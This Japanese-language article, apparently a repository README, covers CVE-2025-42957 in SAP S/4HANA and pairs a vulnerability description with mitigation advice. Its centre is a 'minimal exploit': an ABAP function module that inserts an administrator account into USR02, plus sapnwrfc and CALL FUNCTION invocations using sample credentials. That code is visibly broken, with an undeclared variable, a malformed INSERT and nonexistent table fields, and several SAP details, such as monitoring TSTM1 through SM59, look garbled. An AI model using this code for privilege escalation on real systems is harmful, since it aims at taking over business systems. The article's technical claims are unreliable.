
CVE‑2025‑42957 は、RFC 対応の SAP S/4HANA モジュールを危険にさらし、低権限ユーザーが ABAP コードを注入して管理者アカウントを作成し、システムを完全に制御できるようにします。この記事では、この脆弱性と脅威モデルについて説明し、最小限のエクスプロイト ABAP コードを提供するとともに、システムを保護するためのパッチ適用・監視手順を列挙しています。
2025年8月、SAPの旗艦ERPプラットフォームS/4HANAが、RFC対応ファンクションモジュールの1つに脆弱性を露呈していることが判明しました。低特権アクセスのみを持つ攻撃者は、そのモジュールに任意のABAPコードを注入し、通常の認可チェックをバイパスしてシステム全体を制御できるようになります。
この欠陥は理論上の好奇心の対象ではありません。SecurityBridge Threat Research Labsによってすでに悪用されており、オンプレミスおよびプライベートクラウドの両方の導入環境に対する実際の攻撃で積極的に使用されています。
| 問題 | 影響 |
|---|---|
| システム全体の完全な侵害 | 攻撃者はスーパーユーザーアカウントを作成し、ビジネスプロセスを変更し、USR02テーブルからパスワードハッシュを抽出できます。 |
| 必要な労力は最小限 | RFC呼び出しは簡単に構築でき、ファンクションモジュールが配置されれば、攻撃者は数行のABAPコードだけを必要とします。 |
| 実世界での緊急性 | SecurityBridgeは攻撃がすでに進行中であることを確認しています。直ちにパッチを適用しない場合、S/4HANAインスタンス全体を乗っ取られるリスクがあります。 |
ZVULN_EXPLが、攻撃者にとって唯一のエントリポイントです。S_DMIS(アクティビティ02)を実質的にバイパスします。したがって、悪用チェーンは次のようになります:低特権ユーザー → ZVULN_EXPLへのRFC呼び出し → USR02内の新しい管理者ユーザー → システム全体の制御。
以下は、ファンクションモジュールZVULN_EXPLに配置するABAPコードです。意図的に最小限でありながら完全なもので、新しいユーザーを作成し、後で検証できるようにアクションをログに記録します。
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
呼び出し方
外部クライアント(Linux/Mac)から
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
SAP GUI内から(クイックテスト)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
呼び出し後、USR02にユーザーadmin2(ロールADMIN)の新しいエントリが表示されるはずです。
SAPの2025年8月のセキュリティパッチを直ちに適用してください。
このパッチは、根本的なRFC公開ファンクションモジュールに対処し、攻撃者が使用する特定のベクトルを閉じます。
不審なRFC呼び出しや不正な管理者作成がないかログを監視してください。
トランザクションSM59を使用して、TSTM1内のファンクション名ZVULN_EXPLの新しいエントリを監視してください。
SAP UCONを実装してRFCの使用を制限してください。
認可オブジェクトS_DMIS(アクティビティ02)を、信頼できるユーザーのみがタイプZのRFCモジュールを呼び出せるように設定してください。
認可オブジェクトS_DMISアクティビティ02へのアクセスを確認してください。
限られたユーザーセットのみがこのオブジェクトを持つようにして、攻撃対象領域を減らしてください。
CVE‑2025‑42957は単なるセキュリティ速報ではありません。パッチ未適用のまま放置するとシステム全体の乗っ取りにつながる低特権ベクトルを暴露します。上記のコードは、攻撃者が最小限の労力で管理者ユーザーを挿入できる方法を示しています。パッチ適用、監視、RFC権限の強化により、扉を閉ざし、S/4HANAインスタンスのセキュリティを維持できます。
このリポジトリは教育目的のみを意図しており、実際の脆弱性に適用される脅威モデリングの原則のデモンストレーションとして機能します。CVE-2025-42957は、信頼境界の特定、入力の検証、最小権限アクセスの強制—安全なシステム設計の中核となる原則—の重要性を浮き彫りにします。提供されるすべてのコードと例は学習目的であり、本番環境や不正なテストに使用すべきではありません。
*著者: Mark Mallia
日付: 2025年9月10日